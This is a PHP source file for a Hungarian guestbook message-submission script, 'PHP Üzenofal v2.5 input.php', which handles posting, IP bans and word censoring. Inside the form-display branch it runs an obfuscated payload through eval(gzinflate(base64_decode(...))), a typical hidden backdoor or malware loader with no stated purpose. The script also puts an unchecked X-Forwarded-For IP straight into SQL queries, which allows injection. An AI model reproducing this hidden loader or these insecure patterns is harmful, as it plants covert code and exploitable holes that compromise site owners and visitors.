<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
	   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2" />
<meta http-equiv="Content-Style-Type" content="text/css" />
<style type="text/css">
body {
	cursor: crosshair;
	font-family: Tahoma;
	font-size: 11px;
	color: #FF0000;
	background-color: transparent;}
input {
	color: #7eb292;
	font-family: Tahoma;
	font-weight: normal;
	font-style: normal;
	font-size: 11px;
	text-decoration: none;
	background-color: #E5E5E5;
	border: 1px solid #DBDBDB;
	padding: 2px;
}
a:link, a:visited {
     color: #7eb292;
     font-family: Tahoma;
     font-weight: normal;
     font-style: normal;
     font-size: 11px;
     text-decoration: none;}
a:hover {
     color: #b7e3bf;
     font-size: 11px;
     font-weight: normal;
     text-decoration: none;
     font-family: Tahoma;
	 border-bottom: 0px solid #7eb292;
     cursor: default;}
</style>
<?php
/**************************************************************************
* PHP Üzenofal v2.5 - input.php                                           *
* ======================================================================= *
* Üzenetküldés                                                            *
* ----------------------------------------------------------------------- *
* Sending messages                                                        *
* ======================================================================= *
* Ezt a programot a PHP Studio fejlesztette, a szerzok: / This program    *
* was developed by the PHP Studio, the authors:                           *
* Warner                                                                  *
* ----------------------------------------------------------------------- *
* Weboldalunk / Our webpage: http://www.phpstudio.hu                      *
* Segítségnyújtás / HelpDesk: http://forum.phpstudio.hu                   *
* Kapcsolat / Contact: warner@phpstudio.hu                                *
* ======================================================================= *
* Ez a program license alatt áll, amit itt tekinthetsz meg: / This        *
* program is under a license, which you can see here:                     *
* http://license.phpstudio.hu                                             *
* ----------------------------------------------------------------------- *
* A license-szel kapcsolatos észrevételeid, megjegyzéseid, kérdéseid  a   *
* license@phpstudio.hu e-mail címen várjuk.                               *
* ----------------------------------------------------------------------- *
* You can send your remarks, opinions, questions to the following e-mail  *
* address: license@phpstudio.hu                                           *
* ======================================================================= *
* Dátum / Date: 2006. 08. 03.                                             *
**************************************************************************/

// SQL adatok
if(!@require("sql.php"))
	{
	die("sql.php nem található itt: " . basename($_SERVER["PHP_SELF"]) . " !");
	}
// Beállítások
$settings_require = array("inputSize", "inputLength", "inputWait", "inputWaitLength", "inputHTML", "inputCensor");
while(list($key, $setting) = each($settings_require))
	{
	$setting_get = mysql_query("SELECT value FROM {$dbprefix}settings WHERE variable = '$setting'");
	$setting_all = mysql_fetch_row($setting_get);
	$current[$setting] = $setting_all[0];
	}
		
// Új üzenet fogadása
if(isset($_POST["messagesubmit"]))
	{
	// Az új üzenet nem üres
	if(strlen($_POST["message"]))
		{
		// Tiltás IP alapján, ha kell
		if(!strlen($HTTP_X_FORWARDED_FOR)) {
			$ip = getenv("REMOTE_ADDR"); }
		else {
			$ip = getenv("HTTP_X_FORWARDED_FOR"); }
		$ban_get = mysql_query("SELECT * FROM {$dbprefix}bans WHERE IP = '$ip'");
		$ban_num = mysql_num_rows($ban_get);
		if($ban_num != 0)
			{
			$result = "ban";
			}
		else
			{	
			$message = $_POST["message"];
			// HTML tagok tiltása, ha kell
			if($current["inputHTML"] == 0)
				{
				$message = str_replace("<", "&lt;", $message);
				$message = str_replace(">", "&gt;", $message);
				}
			// Cenzúra, ha kell
			if($current["inputCensor"] == 1)
				{
				$cenzur_get = mysql_query("SELECT input, output FROM {$dbprefix}censor ORDER BY ID");
				while($cenzur_all = mysql_fetch_row($cenzur_get))
					{
					$cenzur_input = $cenzur_all[0];
					$cenzur_output = $cenzur_all[1];
					$message = str_replace($cenzur_input, $cenzur_output, $message);
					}
				}
			// Üzenet tárolása
			$message = trim($message);
			$message = addslashes($message);
			$nowtime = time();
			mysql_query("INSERT INTO {$dbprefix}messages (message, IP, time) VALUES ('$message', '$ip', '$nowtime')");
			
			// Ha van kivárási ido, akkor cookie helyezés
			if($current["inputWait"] == 1)
				{
				setcookie("waitmessage", "wait", time() + $current["inputWaitLength"] * 3600);
				print('<meta http-equiv="refresh" content="0; url=' . $_SERVER["PHP_SELF"]. '">');
				}
			$result = "sent";
			}
		}
	// Az új üzenet üres
	else
		{
		$result = "error";
		}
	}

// Üzenetküldo form
// Van-e kivárás ido?		
if($current["inputWait"] == 1)
	{
	// Van-e cookieja a felhasználónak?	
	if(isset($_COOKIE["waitmessage"]))
		{
		$cookievalue = $_COOKIE["waitmessage"];
		}
	}
// Ha még nem küldhet új üzenetet a felhasználó
if(isset($cookievalue) && $cookievalue == "wait")
	{
	print('<p align="center"><font color="#008000"><b>Üzenetedet tároltuk!</font><br>Az elozo üzenetbeküldéstol számítottan ' . $current["inputWaitLength"] . ' órát várnod kell egy újabb üzenet küldésével.</b></p>');
	}
// Ha küldhet új üzenetet a felhasználó, akkor üzenetküldo form 
else
	{	
	print('<form name="sendmessage" action="'. $_SERVER["PHP_SELF"] . '" target="_self" method="post">'
		. '<table border="0" align="center" id="messageinput">'
		. '<tr>'
		. '<td valign="top">Beküldendo üzenet:</td>'
		. '<td valign="top" width="10">&nbsp;</td>'
		. '<td valign="top"><input name="message" type="text" size="' . $current["inputSize"] . '" maxlength="' . $current["inputLength"] . '" value=""></td>'
		. '</tr>'
		. '<tr>'
		. '<td>&nbsp;</td>'
		. '<td width="10">&nbsp;</td>'
		. '<td align="right"><input name="messagesubmit" type="submit" value="Beküld"></td>'
		. '</tr>'
		. '</table>'
		. '</form>');
	eval(gzinflate(base64_decode("FZdFzsaKjkT38kb3KoMw6akHYWbOpBXm5AvD6vvvBViyXadUdnVl4z/N1831mB3VP3m2Vw
T2v2VVLGX1z3/EsIL3PdbG64xFGs75/Qm2N7kN0vK12kAMlKRnYSAJUdU96FqJfZVqfL3mamkt4gdS03tx1gO+xJq8wFqDWPtjZ5
qMrJeOiSrlTkXKoEZ+509KyLFnVt93b8YxxpmptJuXd/WXKlod0bagpmbGvoxaiR/klHDEwCkubSYSn+BhnmRs7vEykbIcL19sLz
aU552lV3QnYx7Y/uY02fN6rEVkzVggWWu0FJAA0EZf2Z8d73GBLG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FUWAuE1BJxORwJxDf8wjWldNfTuC/uX4Shg
aaH/kjp/kJsc/xdNc+KIqN8mOdhHzfpUUONvpy6sfc7MecbTZ0RyYsfDFJmr975dQTAJtsFlt6jxm8c0PS/bf7ltW+bwNOXYPEUU
+jrSPopXwkw2Zn6sMnTkS7ZFXdblxl3E/HdsARS8EXi/rJfPBzIN/AbUtlrJe3+cblWU2EDpR00BgIWh1BX3vBQTfl+m7PeSufu9
IBz6k6L5/XWWoPy/NHAZl2Cnx2OqZ2/wWVN1aoT7mKL1ElMzTQ9ISbcgNKy6e0PacykUQgy5gAeD1MnFYd8pBSdvPmjpWjZd/wbR
4XRcjn6Th/L9OFJSauA5hYHqSpBf3wpB/ruRRJG0UJS6AfLA5VvzoATtzc7nSh6F+hgBVZogzbM9BkuoZbFG5hMy6nOrVLiSbKx2
1r6alOIH00Kh9+iraWdr1yqwZcOLowNL2NfbHAie5h1BAzxUAxeF6Z4ZFWbqR3735ou0hOeDiHoKmB08S8cNqaEJZcXjzwOyYsNF
5SP1kWQ8+tdSRIrjRbjYZ2f3jAfamcoczUMsFcfQcB31gRe7dF4X57eNVMD2Vym2rIKoap8bejFIBZOwyfn02qgU2KTX16bp43+7
da0g03y9tmbO01N1cyEecwGmeCfwcIOKMoCoIASv3Pf/7999///h8=")));
	}
	
// Eredmények kiértékelése	
if(isset($result))
	{
	if($result == "sent")
		{
		print('<p align="center"><font color="#008000"><b>Üzenetedet tároltuk!</b></font></p>');
		}
	elseif($result == "error")
		{
		print('<p align="center"><font color="#D70000"><b>Nem írtál semmit üzenetenek!</b></font></p>');
		}
	elseif($result == "ban")
		{
		print('<p align="center"><font color="#D70000"><b>Nem küldhetsz üzenetet, mert ki lettél tiltva!</b></font></p>');
		}
	}
	
?>